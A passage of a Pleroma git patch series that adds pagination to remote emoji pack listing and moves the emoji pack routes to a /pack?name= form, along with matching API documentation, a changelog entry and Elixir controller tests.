"error" => "Pack non_existing does not exist" } @@ -565,7 +595,7 @@ test "non existing pack", %{conn: conn} do test "error name", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/ ") + |> get("/api/pleroma/emoji/packs/show?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } -- cgit v1.2.3 From dbbc8016670166c24a29dcc3e2f0d66bb2f4e35f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 27 Jun 2020 14:33:49 +0300 Subject: pagination for remote emoji packs --- lib/pleroma/emoji/pack.ex | 8 ++++---- .../api_spec/operations/pleroma_emoji_pack_operation.ex | 16 +++++++++++++++- .../web/pleroma_api/controllers/emoji_pack_controller.ex | 5 +++-- .../controllers/emoji_pack_controller_test.exs | 6 +++--- 4 files changed, 25 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index 9901aa832..4420eff5a 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -198,13 +198,13 @@ def import_from_filesystem do end end - @spec list_remote(String.t()) :: {:ok, map()} | {:error, atom()} - def list_remote(url) do - uri = url |> String.trim() |> URI.parse() + @spec list_remote(keyword()) :: {:ok, map()} | {:error, atom()} + def list_remote(opts) do + uri = opts[:url] |> String.trim() |> URI.parse() with :ok <- validate_shareable_packs_available(uri) do uri - |> URI.merge("/api/pleroma/emoji/packs") + |> URI.merge("/api/pleroma/emoji/packs?page=#{opts[:page]}&page_size=#{opts[:page_size]}") |> http_get() end end diff --git a/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex b/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex index 87ee5feb4..79f52dcb3 100644 --- a/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex +++ b/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex @@ -19,7 +19,21 @@ def remote_operation do tags: ["Emoji Packs"], summary: "Make request to another instance for emoji packs list", security: [%{"oAuth" => ["write"]}], - parameters: [url_param()], + parameters: [ + url_param(), + Operation.parameter( + :page, + :query, + %Schema{type: :integer, default: 1}, + "Page" + ), + Operation.parameter( + :page_size, + :query, + %Schema{type: :integer, default: 30}, + "Number of emoji to return" + ) + ], operationId: "PleromaAPI.EmojiPackController.remote", responses: %{ 200 => emoji_packs_response(), diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex index e3969fee1..6696f8b92 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex @@ -23,8 +23,9 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackController do defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PleromaEmojiPackOperation - def remote(conn, %{url: url}) do - with {:ok, packs} <- Pack.list_remote(url) do + def remote(conn, params) do + with {:ok, packs} <- + Pack.list_remote(url: params.url, page_size: params.page_size, page: params.page) do json(conn, packs) else {:error, :not_shareable} -> diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index 068755936..95fd78c7e 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -102,7 +102,7 @@ test "GET /api/pleroma/emoji/packs", %{conn: conn} do test "shareable instance", %{admin_conn: admin_conn, conn: conn} do resp = conn - |> get("/api/pleroma/emoji/packs") + |> get("/api/pleroma/emoji/packs?page=2&page_size=1") |> json_response_and_validate_schema(200) mock(fn @@ -112,12 +112,12 @@ test "shareable instance", %{admin_conn: admin_conn, conn: conn} do %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> json(%{metadata: %{features: ["shareable_emoji_packs"]}}) - %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} -> + %{method: :get, url: "https://example.com/api/pleroma/emoji/packs?page=2&page_size=1"} -> json(resp) end) assert admin_conn - |> get("/api/pleroma/emoji/packs/remote?url=https://example.com") + |> get("/api/pleroma/emoji/packs/remote?url=https://example.com&page=2&page_size=1") |> json_response_and_validate_schema(200) == resp end -- cgit v1.2.3 From 958008cc14ef74050d340dcc1865d25f069cf232 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 17 Aug 2020 11:19:49 +0300 Subject: changelog entry --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5f5d01af3..46962b6ff 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -120,6 +120,7 @@ switched to a new configuration mechanism, however it was not officially removed - Mastodon API (legacy): Allow query parameters for `/api/v1/domain_blocks`, e.g. `/api/v1/domain_blocks?domain=badposters.zone` - Mastodon API: Make notifications about statuses from muted users and threads read automatically - Pleroma API: `/api/pleroma/captcha` responses now include `seconds_valid` with an integer value. +- Pleroma API: Pagination for remote/local packs and emoji.
-- cgit v1.2.3 From 8c6ec4c111081b34f68363ce20423e2f338fa2dd Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sun, 20 Sep 2020 09:51:36 +0300 Subject: pack routes change --- docs/API/pleroma_api.md | 108 ++++++++++----------- lib/pleroma/emoji/pack.ex | 4 +- lib/pleroma/web/router.ex | 16 ++- .../controllers/emoji_pack_controller_test.exs | 52 +++++----- 4 files changed, 97 insertions(+), 83 deletions(-) diff --git a/docs/API/pleroma_api.md b/docs/API/pleroma_api.md index 350849687..96fd4da73 100644 --- a/docs/API/pleroma_api.md +++ b/docs/API/pleroma_api.md @@ -378,54 +378,41 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Params: None * Response: JSON, returns a list of Mastodon Conversation entities that were marked as read (200 - healthy, 503 unhealthy). -## `GET /api/pleroma/emoji/packs/import` - -### Imports packs from filesystem - -* Method `GET` -* Authentication: required -* Params: None -* Response: JSON, returns a list of imported packs. - -## `GET /api/pleroma/emoji/packs/remote` +## `GET /api/pleroma/emoji/pack?name=:name` -### Make request to another instance for packs list +### Get pack.json for the pack * Method `GET` -* Authentication: required +* Authentication: not required * Params: - * `url`: url of the instance to get packs from -* Response: JSON with the pack list, hashmap with pack name and pack contents - -## `POST /api/pleroma/emoji/packs/download` - -### Download pack from another instance + * `page`: page number for files (default 1) + * `page_size`: page size for files (default 30) +* Response: JSON, pack json with `files`, `files_count` and `pack` keys with 200 status or 404 if the pack does not exist. -* Method `POST` -* Authentication: required -* Params: - * `url`: url of the instance to download from - * `name`: pack to download from that instance - * `as`: (*optional*) name how to save pack -* Response: JSON, "ok" with 200 status if the pack was downloaded, or 500 if there were - errors downloading the pack +```json +{ + "files": {...}, + "files_count": 0, // emoji count in pack + "pack": {...} +} +``` -## `POST /api/pleroma/emoji/packs/create?name=:name` +## `POST /api/pleroma/emoji/pack?name=:name` ### Creates an empty pack * Method `POST` -* Authentication: required +* Authentication: required (admin) * Params: * `name`: pack name * Response: JSON, "ok" and 200 status or 409 if the pack with that name already exists -## `PATCH /api/pleroma/emoji/packs/update?name=:name` +## `PATCH /api/pleroma/emoji/pack?name=:name` ### Updates (replaces) pack metadata * Method `PATCH` -* Authentication: required +* Authentication: required (admin) * Params: * `name`: pack name * `metadata`: metadata to replace the old one @@ -438,22 +425,54 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Response: JSON, updated "metadata" section of the pack and 200 status or 400 if there was a problem with the new metadata (the error is specified in the "error" part of the response JSON) -## `DELETE /api/pleroma/emoji/packs/delete?name=:name` +## `DELETE /api/pleroma/emoji/pack?name=:name` ### Delete a custom emoji pack * Method `DELETE` -* Authentication: required +* Authentication: required (admin) * Params: * `name`: pack name * Response: JSON, "ok" and 200 status or 500 if there was an error deleting the pack +## `GET /api/pleroma/emoji/packs/import` + +### Imports packs from filesystem + +* Method `GET` +* Authentication: required (admin) +* Params: None +* Response: JSON, returns a list of imported packs. + +## `GET /api/pleroma/emoji/packs/remote` + +### Make request to another instance for packs list + +* Method `GET` +* Authentication: required (admin) +* Params: + * `url`: url of the instance to get packs from +* Response: JSON with the pack list, hashmap with pack name and pack contents + +## `POST /api/pleroma/emoji/packs/download` + +### Download pack from another instance + +* Method `POST` +* Authentication: required (admin) +* Params: + * `url`: url of the instance to download from + * `name`: pack to download from that instance + * `as`: (*optional*) name how to save pack +* Response: JSON, "ok" with 200 status if the pack was downloaded, or 500 if there were + errors downloading the pack + ## `POST /api/pleroma/emoji/packs/files?name=:name` ### Add new file to the pack * Method `POST` -* Authentication: required +* Authentication: required (admin) * Params: * `name`: pack name * `file`: file needs to be uploaded with the multipart request or link to remote file. @@ -466,7 +485,7 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa ### Update emoji file from pack * Method `PATCH` -* Authentication: required +* Authentication: required (admin) * Params: * `name`: pack name * `shortcode`: emoji file shortcode @@ -480,7 +499,7 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa ### Delete emoji file from pack * Method `DELETE` -* Authentication: required +* Authentication: required (admin) * Params: * `name`: pack name * `shortcode`: emoji file shortcode @@ -507,25 +526,6 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa } ``` -## `GET /api/pleroma/emoji/packs/show?name=:name` - -### Get pack.json for the pack - -* Method `GET` -* Authentication: not required -* Params: - * `page`: page number for files (default 1) - * `page_size`: page size for files (default 30) -* Response: JSON, pack json with `files`, `files_count` and `pack` keys with 200 status or 404 if the pack does not exist. - -```json -{ - "files": {...}, - "files_count": 0, // emoji count in pack - "pack": {...} -} -``` - ## `GET /api/pleroma/emoji/packs/archive?name=:name` ### Requests a local pack archive from the instance diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index 4420eff5a..8f1989ada 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -245,7 +245,7 @@ def download(name, url, as) do with :ok <- validate_shareable_packs_available(uri), {:ok, remote_pack} <- - uri |> URI.merge("/api/pleroma/emoji/packs/show?name=#{name}") |> http_get(), + uri |> URI.merge("/api/pleroma/emoji/pack?name=#{name}") |> http_get(), {:ok, %{sha: sha, url: url} = pack_info} <- fetch_pack_info(remote_pack, uri, name), {:ok, archive} <- download_archive(url, sha), pack <- copy_as(remote_pack, as || name), @@ -524,7 +524,7 @@ defp get_filename(pack, shortcode) do defp http_get(%URI{} = url), do: url |> to_string() |> http_get() defp http_get(url) do - with {:ok, %{body: body}} <- url |> Pleroma.HTTP.get() do + with {:ok, %{body: body}} <- Pleroma.HTTP.get(url, [], pool: :default) do Jason.decode(body) end end diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 6f591b12f..707d5e1c4 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -226,6 +226,20 @@ defmodule Pleroma.Web.Router do end scope "/api/pleroma/emoji", Pleroma.Web.PleromaAPI do + scope "/pack" do + pipe_through(:admin_api) + + post("/", EmojiPackController, :create) + patch("/", EmojiPackController, :update) + delete("/", EmojiPackController, :delete) + end + + scope "/pack" do + pipe_through(:api) + + get("/", EmojiPackController, :show) + end + # Modifying packs scope "/packs" do pipe_through(:admin_api) @@ -246,8 +260,8 @@ defmodule Pleroma.Web.Router do # Pack info / downloading scope "/packs" do pipe_through(:api) + get("/", EmojiPackController, :index) - get("/show", EmojiPackController, :show) get("/archive", EmojiPackController, :archive) end end diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index 95fd78c7e..386ad8634 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -183,10 +183,10 @@ test "shared pack from remote and non shared from fallback-src", %{ %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" } -> conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack") + |> get("/api/pleroma/emoji/pack?name=test_pack") |> json_response_and_validate_schema(200) |> json() @@ -201,10 +201,10 @@ test "shared pack from remote and non shared from fallback-src", %{ %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack_nonshared" + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack_nonshared" } -> conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack_nonshared") + |> get("/api/pleroma/emoji/pack?name=test_pack_nonshared") |> json_response_and_validate_schema(200) |> json() @@ -228,7 +228,7 @@ test "shared pack from remote and non shared from fallback-src", %{ assert File.exists?("#{@emoji_path}/test_pack2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=test_pack2") + |> delete("/api/pleroma/emoji/pack?name=test_pack2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack2") @@ -249,7 +249,7 @@ test "shared pack from remote and non shared from fallback-src", %{ assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=test_pack_nonshared2") + |> delete("/api/pleroma/emoji/pack?name=test_pack_nonshared2") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_pack_nonshared2") @@ -289,7 +289,7 @@ test "checksum fail", %{admin_conn: admin_conn} do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=pack_bad_sha" + url: "https://example.com/api/pleroma/emoji/pack?name=pack_bad_sha" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") %Tesla.Env{status: 200, body: Jason.encode!(pack)} @@ -326,7 +326,7 @@ test "other error", %{admin_conn: admin_conn} do %{ method: :get, - url: "https://example.com/api/pleroma/emoji/packs/show?name=test_pack" + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" } -> {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") %Tesla.Env{status: 200, body: Jason.encode!(pack)} @@ -346,7 +346,7 @@ test "other error", %{admin_conn: admin_conn} do end end - describe "PATCH /api/pleroma/emoji/packs/update?name=:name" do + describe "PATCH /api/pleroma/emoji/pack?name=:name" do setup do pack_file = "#{@emoji_path}/test_pack/pack.json" original_content = File.read!(pack_file) @@ -368,7 +368,7 @@ test "other error", %{admin_conn: admin_conn} do test "for a pack without a fallback source", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{ + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{ "metadata" => ctx[:new_data] }) |> json_response_and_validate_schema(200) == ctx[:new_data] @@ -396,7 +396,7 @@ test "for a pack with a fallback source", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(200) == new_data_with_sha assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha @@ -416,17 +416,17 @@ test "when the fallback source doesn't have all the files", ctx do assert ctx[:admin_conn] |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/update?name=test_pack", %{metadata: new_data}) + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) |> json_response_and_validate_schema(:bad_request) == %{ "error" => "The fallback archive does not have all files specified in pack.json" } end end - describe "POST/DELETE /api/pleroma/emoji/packs/?name=:name" do + describe "POST/DELETE /api/pleroma/emoji/pack?name=:name" do test "creating and deleting a pack", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/create?name=test_created") + |> post("/api/pleroma/emoji/pack?name=test_created") |> json_response_and_validate_schema(200) == "ok" assert File.exists?("#{@emoji_path}/test_created/pack.json") @@ -438,7 +438,7 @@ test "creating and deleting a pack", %{admin_conn: admin_conn} do } assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=test_created") + |> delete("/api/pleroma/emoji/pack?name=test_created") |> json_response_and_validate_schema(200) == "ok" refute File.exists?("#{@emoji_path}/test_created/pack.json") @@ -451,7 +451,7 @@ test "if pack exists", %{admin_conn: admin_conn} do File.write!(Path.join(path, "pack.json"), pack_file) assert admin_conn - |> post("/api/pleroma/emoji/packs/create?name=test_created") + |> post("/api/pleroma/emoji/pack?name=test_created") |> json_response_and_validate_schema(:conflict) == %{ "error" => "A pack named \"test_created\" already exists" } @@ -461,7 +461,7 @@ test "if pack exists", %{admin_conn: admin_conn} do test "with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> post("/api/pleroma/emoji/packs/create?name= ") + |> post("/api/pleroma/emoji/pack?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -470,7 +470,7 @@ test "with empty name", %{admin_conn: admin_conn} do test "deleting nonexisting pack", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name=non_existing") + |> delete("/api/pleroma/emoji/pack?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack non_existing does not exist" } @@ -478,7 +478,7 @@ test "deleting nonexisting pack", %{admin_conn: admin_conn} do test "deleting with empty name", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/delete?name= ") + |> delete("/api/pleroma/emoji/pack?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } @@ -526,7 +526,7 @@ test "filesystem import", %{admin_conn: admin_conn, conn: conn} do } end - describe "GET /api/pleroma/emoji/packs/:name" do + describe "GET /api/pleroma/emoji/pack?name=:name" do test "shows pack.json", %{conn: conn} do assert %{ "files" => files, @@ -541,7 +541,7 @@ test "shows pack.json", %{conn: conn} do } } = conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack") + |> get("/api/pleroma/emoji/pack?name=test_pack") |> json_response_and_validate_schema(200) assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} @@ -551,7 +551,7 @@ test "shows pack.json", %{conn: conn} do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1") + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 @@ -561,7 +561,7 @@ test "shows pack.json", %{conn: conn} do "files_count" => 2 } = conn - |> get("/api/pleroma/emoji/packs/show?name=test_pack&page_size=1&page=2") + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1&page=2") |> json_response_and_validate_schema(200) assert files |> Map.keys() |> length() == 1 @@ -581,13 +581,13 @@ test "for pack name with special chars", %{conn: conn} do } } = conn - |> get("/api/pleroma/emoji/packs/show?name=blobs.gg") + |> get("/api/pleroma/emoji/pack?name=blobs.gg") |> json_response_and_validate_schema(200) end test "non existing pack", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/show?name=non_existing") + |> get("/api/pleroma/emoji/pack?name=non_existing") |> json_response_and_validate_schema(:not_found) == %{ "error" => "Pack non_existing does not exist" } @@ -595,7 +595,7 @@ test "non existing pack", %{conn: conn} do test "error name", %{conn: conn} do assert conn - |> get("/api/pleroma/emoji/packs/show?name= ") + |> get("/api/pleroma/emoji/pack?name= ") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "pack name cannot be empty" } -- cgit v1.2.3 From 871fac3e4c9d8b1a138204ac754b2a9633bd9eaa Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 09:41:40 +0300 Subject: docs update --- docs/API/pleroma_api.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/API/pleroma_api.md b/docs/API/pleroma_api.md index 96fd4da73..3fd141bd2 100644 --- a/docs/API/pleroma_api.md +++ b/docs/API/pleroma_api.md @@ -452,6 +452,8 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Authentication: required (admin) * Params: * `url`: url of the instance to get packs from + * `page`: page number for packs (default 1) + * `page_size`: page size for packs (default 50) * Response: JSON with the pack list, hashmap with pack name and pack contents ## `POST /api/pleroma/emoji/packs/download` -- cgit v1.2.3 From 5d7ec00bedc61e8899941c374604ae5854c62f4c Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 09:42:30 +0300 Subject: fixes after rebase --- .../operations/pleroma_emoji_file_operation.ex | 2 +- lib/pleroma/web/router.ex | 10 ++---- test/utils_test.exs | 2 +- .../controllers/emoji_file_controller_test.exs | 40 +++++++++++----------- 4 files changed, 25 insertions(+), 29 deletions(-) diff --git a/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex index efbfce75f..a56641426 100644 --- a/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex +++ b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex @@ -126,7 +126,7 @@ def delete_operation do end defp name_param do - Operation.parameter(:name, :path, :string, "Pack Name", example: "cofe", required: true) + Operation.parameter(:name, :query, :string, "Pack Name", example: "cofe", required: true) end defp files_object do diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 707d5e1c4..e22b31b4c 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -248,13 +248,9 @@ defmodule Pleroma.Web.Router do get("/remote", EmojiPackController, :remote) post("/download", EmojiPackController, :download) - post("/create", EmojiPackController, :create) - patch("/update", EmojiPackController, :update) - delete("/delete", EmojiPackController, :delete) - - post("/files", EmojiFileController, :add_file) - patch("/files", EmojiFileController, :update_file) - delete("/files", EmojiFileController, :delete_file) + post("/files", EmojiFileController, :create) + patch("/files", EmojiFileController, :update) + delete("/files", EmojiFileController, :delete) end # Pack info / downloading diff --git a/test/utils_test.exs b/test/utils_test.exs index 3a730d545..460f7e0b5 100644 --- a/test/utils_test.exs +++ b/test/utils_test.exs @@ -8,7 +8,7 @@ defmodule Pleroma.UtilsTest do describe "tmp_dir/1" do test "returns unique temporary directory" do {:ok, path} = Pleroma.Utils.tmp_dir("emoji") - assert path =~ ~r/\/tmp\/emoji-(.*)-#{:os.getpid()}-(.*)/ + assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ File.rm_rf(path) end end diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs index 39b4e1dac..82de86ee3 100644 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -29,7 +29,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do {:ok, %{admin_conn: admin_conn}} end - describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/:name/files" do + describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/files?name=:name" do setup do pack_file = "#{@emoji_path}/test_pack/pack.json" original_content = File.read!(pack_file) @@ -56,7 +56,7 @@ test "upload zip file with emojies", %{admin_conn: admin_conn} do resp = admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ file: %Plug.Upload{ content_type: "application/zip", filename: "emojis.zip", @@ -83,7 +83,7 @@ test "upload zip file with emojies", %{admin_conn: admin_conn} do test "create shortcode exists", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank", filename: "dir/blank.png", file: %Plug.Upload{ @@ -101,7 +101,7 @@ test "don't rewrite old emoji", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", filename: "dir/blank.png", file: %Plug.Upload{ @@ -119,7 +119,7 @@ test "don't rewrite old emoji", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank", new_shortcode: "blank2", new_filename: "dir_2/blank_3.png" @@ -135,7 +135,7 @@ test "rewrite old emoji with force option", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", filename: "dir/blank.png", file: %Plug.Upload{ @@ -153,7 +153,7 @@ test "rewrite old emoji with force option", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", new_shortcode: "blank4", new_filename: "dir_2/blank_3.png", @@ -171,7 +171,7 @@ test "rewrite old emoji with force option", %{admin_conn: admin_conn} do test "with empty filename", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank2", filename: "", file: %Plug.Upload{ @@ -187,7 +187,7 @@ test "with empty filename", %{admin_conn: admin_conn} do test "add file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/not_loaded/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=not_loaded", %{ shortcode: "blank3", filename: "dir/blank.png", file: %Plug.Upload{ @@ -202,7 +202,7 @@ test "add file with not loaded pack", %{admin_conn: admin_conn} do test "remove file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=blank3") |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } @@ -210,7 +210,7 @@ test "remove file with not loaded pack", %{admin_conn: admin_conn} do test "remove file with empty shortcode", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=") |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } @@ -219,7 +219,7 @@ test "remove file with empty shortcode", %{admin_conn: admin_conn} do test "update file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/not_loaded/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=not_loaded", %{ shortcode: "blank4", new_shortcode: "blank3", new_filename: "dir_2/blank_3.png" @@ -232,7 +232,7 @@ test "update file with not loaded pack", %{admin_conn: admin_conn} do test "new with shortcode as file with update", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank4", filename: "dir/blank.png", file: %Plug.Upload{ @@ -250,7 +250,7 @@ test "new with shortcode as file with update", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank4", new_shortcode: "blank3", new_filename: "dir_2/blank_3.png" @@ -265,7 +265,7 @@ test "new with shortcode as file with update", %{admin_conn: admin_conn} do assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") |> json_response_and_validate_schema(200) == %{ "blank" => "blank.png", "blank2" => "blank2.png" @@ -287,7 +287,7 @@ test "new with shortcode from url", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank_url", file: "https://test-blank/blank_url.png" }) @@ -307,7 +307,7 @@ test "new without shortcode", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ file: %Plug.Upload{ filename: "shortcode.png", path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" @@ -322,7 +322,7 @@ test "new without shortcode", %{admin_conn: admin_conn} do test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "Emoji \"blank3\" does not exist" } @@ -331,7 +331,7 @@ test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do test "update non existing emoji", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> 